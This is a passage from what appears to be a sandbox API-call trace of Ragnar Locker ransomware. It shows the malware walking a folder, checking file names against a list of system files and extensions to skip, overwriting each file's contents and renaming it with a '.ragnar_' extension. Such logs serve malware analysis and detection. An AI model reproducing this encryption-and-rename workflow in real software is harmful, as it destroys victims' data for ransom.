nNumberOfBytesToWrite=0x4e380, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x300000*, lpNumberOfBytesWritten=0x1eaf30*=0x4e380, lpOverlapped=0x0) returned 1 [0050.045] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4e380, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0050.045] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0050.047] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x4e380, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.047] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0050.047] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0050.047] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0050.047] WriteFile (in: hFile=0x100, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0050.047] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0050.047] GetProcessHeap () returned 0x580000 [0050.047] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0050.047] CloseHandle (hObject=0x100) returned 1 [0050.050] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" [0050.050] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.ragnar_FD7BD9FC" [0050.050] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0050.051] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x3ad80, dwReserved0=0x0, dwReserved1=0x0, cFileName="JPEGIM32.FLT", cAlternateFileName="")) returned 1 [0050.051] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3e [0050.051] lstrcpyW (in: lpString1=0x1eb636, lpString2="JPEGIM32.FLT" | out: lpString1="JPEGIM32.FLT") returned="JPEGIM32.FLT" [0050.051] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned=".FLT" [0050.051] lstrcmpiW (lpString1="JPEGIM32.FLT", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0050.051] lstrcmpiW (lpString1="JPEGIM32.FLT", lpString2="autorun.inf") returned 1 [0050.051] lstrcmpiW (lpString1="JPEGIM32.FLT", lpString2="boot.ini") returned 1 [0050.051] lstrcmpiW (lpString1="JPEGIM32.FLT", lpString2="bootfont.bin") returned 1 [0050.051] lstrcmpiW (lpString1="JPEGIM32.FLT", lpString2="bootsect.bak") returned 1 [0050.051] lstrcmpiW (lpString1="JPEGIM32.FLT", lpString2="bootmgr") returned 1 [0050.051] lstrcmpiW (lpString1="JPEGIM32.FLT", lpString2="bootmgr.efi") returned 1 [0050.051] lstrcmpiW (lpString1="JPEGIM32.FLT", lpString2="bootmgfw.efi") returned 1 [0050.051] lstrcmpiW (lpString1="JPEGIM32.FLT", lpString2="desktop.ini") returned 1 [0050.051] lstrcmpiW (lpString1="JPEGIM32.FLT", lpString2="iconcache.db") returned 1 [0050.051] lstrcmpiW (lpString1="JPEGIM32.FLT", lpString2="ntldr") returned -1 [0050.051] lstrcmpiW (lpString1="JPEGIM32.FLT", lpString2="ntuser.dat") returned -1 [0050.051] lstrcmpiW (lpString1="JPEGIM32.FLT", lpString2="ntuser.dat.log") returned -1 [0050.051] lstrcmpiW (lpString1="JPEGIM32.FLT", lpString2="ntuser.ini") returned -1 [0050.051] lstrcmpiW (lpString1="JPEGIM32.FLT", lpString2="thumbs.db") returned -1 [0050.051] lstrcmpiW (lpString1=".FLT", lpString2=".db") returned 1 [0050.051] lstrcmpiW (lpString1=".FLT", lpString2=".sys") returned -1 [0050.051] lstrcmpiW (lpString1=".FLT", lpString2=".dll") returned 1 [0050.051] lstrcmpiW (lpString1=".FLT", lpString2=".lnk") returned -1 [0050.051] lstrcmpiW (lpString1=".FLT", lpString2=".msi") returned -1 [0050.051] lstrcmpiW (lpString1=".FLT", lpString2=".drv") returned 1 [0050.051] lstrcmpiW (lpString1=".FLT", lpString2=".exe") returned 1 [0050.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt")) returned 0x20 [0050.053] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0050.053] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=241024) returned 1 [0050.053] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x3ad77, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.053] GetProcessHeap () returned 0x580000 [0050.053] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0050.053] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0050.054] VirtualAlloc (lpAddress=0x0, dwSize=0x3ad80, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0050.055] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.055] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0050.055] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3ad80, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3ad80, lpOverlapped=0x0) returned 1 [0050.059] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0050.061] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3ad80, nNumberOfBytesToLockHigh=0x0) returned 1 [0050.061] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3ad80, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3ad80, lpOverlapped=0x0) returned 1 [0050.062] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3ad80, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0050.062] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0050.063] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x3ad80, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.063] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0050.063] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0050.063] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0050.063] WriteFile (in: hFile=0x100, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0050.063] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0050.063] GetProcessHeap () returned 0x580000 [0050.063] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0050.063] CloseHandle (hObject=0x100) returned 1 [0050.066] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" [0050.066] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.ragnar_FD7BD9FC" [0050.066] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0050.066] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x774, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.CGM", cAlternateFileName="")) returned 1 [0050.067] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3e [0050.067] lstrcpyW (in: lpString1=0x1eb636, lpString2="MS.CGM" | out: lpString1="MS.CGM") returned="MS.CGM" [0050.067] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned=".CGM" [0050.067] lstrcmpiW (lpString1="MS.CGM", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0050.067] lstrcmpiW (lpString1="MS.CGM", lpString2="autorun.inf") returned 1 [0050.067] lstrcmpiW (lpString1="MS.CGM", lpString2="boot.ini") returned 1 [0050.067] lstrcmpiW (lpString1="MS.CGM", lpString2="bootfont.bin") returned 1 [0050.067] lstrcmpiW (lpString1="MS.CGM", lpString2="bootsect.bak") returned 1 [0050.067] lstrcmpiW (lpString1="MS.CGM", lpString2="bootmgr") returned 1 [0050.067] lstrcmpiW (lpString1="MS.CGM", lpString2="bootmgr.efi") returned 1 [0050.067] lstrcmpiW (lpString1="MS.CGM", lpString2="bootmgfw.efi") returned 1 [0050.067] lstrcmpiW (lpString1="MS.CGM", lpString2="desktop.ini") returned 1 [0050.067] lstrcmpiW (lpString1="MS.CGM", lpString2="iconcache.db") returned 1 [0050.067] lstrcmpiW (lpString1="MS.CGM", lpString2="ntldr") returned -1 [0050.067] lstrcmpiW (lpString1="MS.CGM", lpString2="ntuser.dat") returned -1 [0050.067] lstrcmpiW (lpString1="MS.CGM", lpString2="ntuser.dat.log") returned -1 [0050.067] lstrcmpiW (lpString1="MS.CGM", lpString2="ntuser.ini") returned -1 [0050.067] lstrcmpiW (lpString1="MS.CGM", lpString2="thumbs.db") returned -1 [0050.067] lstrcmpiW (lpString1=".CGM", lpString2=".db") returned -1 [0050.067] lstrcmpiW (lpString1=".CGM", lpString2=".sys") returned -1 [0050.067] lstrcmpiW (lpString1=".CGM", lpString2=".dll") returned -1 [0050.067] lstrcmpiW (lpString1=".CGM", lpString2=".lnk") returned -1 [0050.067] lstrcmpiW (lpString1=".CGM", lpString2=".msi") returned -1 [0050.067] lstrcmpiW (lpString1=".CGM", lpString2=".drv") returned -1 [0050.067] lstrcmpiW (lpString1=".CGM", lpString2=".exe") returned -1 [0050.067] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm")) returned 0x20 [0051.116] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0051.128] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1908) returned 1 [0051.132] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x76b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0051.140] GetProcessHeap () returned 0x580000 [0051.141] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0051.146] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0051.235] VirtualAlloc (lpAddress=0x0, dwSize=0x774, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0051.235] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0051.235] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0051.236] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x774, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x774, lpOverlapped=0x0) returned 1 [0051.236] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0051.236] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x774, nNumberOfBytesToLockHigh=0x0) returned 1 [0051.236] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x774, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x774, lpOverlapped=0x0) returned 1 [0051.236] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x774, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0051.236] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0051.236] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x774, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0051.236] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0051.236] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0051.236] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0051.236] WriteFile (in: hFile=0x100, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0051.236] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0051.236] GetProcessHeap () returned 0x580000 [0051.237] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0051.237] CloseHandle (hObject=0x100) returned 1 [0051.237] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" [0051.237] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM.ragnar_FD7BD9FC" [0051.237] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0051.238] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x3adb, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.EPS", cAlternateFileName="")) returned 1 [0051.238] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3e [0051.238] lstrcpyW (in: lpString1=0x1eb636, lpString2="MS.EPS" | out: lpString1="MS.EPS") returned="MS.EPS" [0051.238] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned=".EPS" [0051.238] lstrcmpiW (lpString1="MS.EPS", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0051.238] lstrcmpiW (lpString1="MS.EPS", lpString2="autorun.inf") returned 1 [0051.238] lstrcmpiW (lpString1="MS.EPS", lpString2="boot.ini") returned 1 [0051.238] lstrcmpiW (lpString1="MS.EPS", lpString2="bootfont.bin") returned 1 [0051.238] lstrcmpiW (lpString1="MS.EPS", lpString2="bootsect.bak") returned 1 [0051.238] lstrcmpiW (lpString1="MS.EPS", lpString2="bootmgr") returned 1 [0051.238] lstrcmpiW (lpString1="MS.EPS", lpString2="bootmgr.efi") returned 1 [0051.238] lstrcmpiW (lpString1="MS.EPS", lpString2="bootmgfw.efi") returned 1 [0051.238] lstrcmpiW (lpString1="MS.EPS", lpString2="desktop.ini") returned 1 [0051.238] lstrcmpiW (lpString1="MS.EPS", lpString2="iconcache.db") returned 1 [0051.238] lstrcmpiW (lpString1="MS.EPS", lpString2="ntldr") returned -1 [0051.238] lstrcmpiW (lpString1="MS.EPS", lpString2="ntuser.dat") returned -1 [0051.238] lstrcmpiW (lpString1="MS.EPS", lpString2="ntuser.dat.log") returned -1 [0051.239] lstrcmpiW (lpString1="MS.EPS", lpString2="ntuser.ini") returned -1 [0051.239] lstrcmpiW (lpString1="MS.EPS", lpString2="thumbs.db") returned -1 [0051.239] lstrcmpiW (lpString1=".EPS", lpString2=".db") returned 1 [0051.239] lstrcmpiW (lpString1=".EPS", lpString2=".sys") returned -1 [0051.239] lstrcmpiW (lpString1=".EPS", lpString2=".dll") returned 1 [0051.239] lstrcmpiW (lpString1=".EPS", lpString2=".lnk") returned -1 [0051.239] lstrcmpiW (lpString1=".EPS", lpString2=".msi") returned -1 [0051.239] lstrcmpiW (lpString1=".EPS", lpString2=".drv") returned 1 [0051.239] lstrcmpiW (lpString1=".EPS", lpString2=".exe") returned -1 [0051.239] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps")) returned 0x20 [0051.239] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0051.239] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=15067) returned 1 [0051.239] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x3ad2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0051.239] GetProcessHeap () returned 0x580000 [0051.239] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0051.239] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0051.241] VirtualAlloc (lpAddress=0x0, dwSize=0x3adb, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0051.241] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0051.241] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0051.241] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3adb, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3adb, lpOverlapped=0x0) returned 1 [0051.242] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0051.242] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3adb, nNumberOfBytesToLockHigh=0x0) returned 1 [0051.242] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3adb, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3adb, lpOverlapped=0x0) returned 1 [0051.242] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3adb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0051.242] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0051.243] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x3adb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0051.243] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0051.243] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0051.243] WriteFile (in: 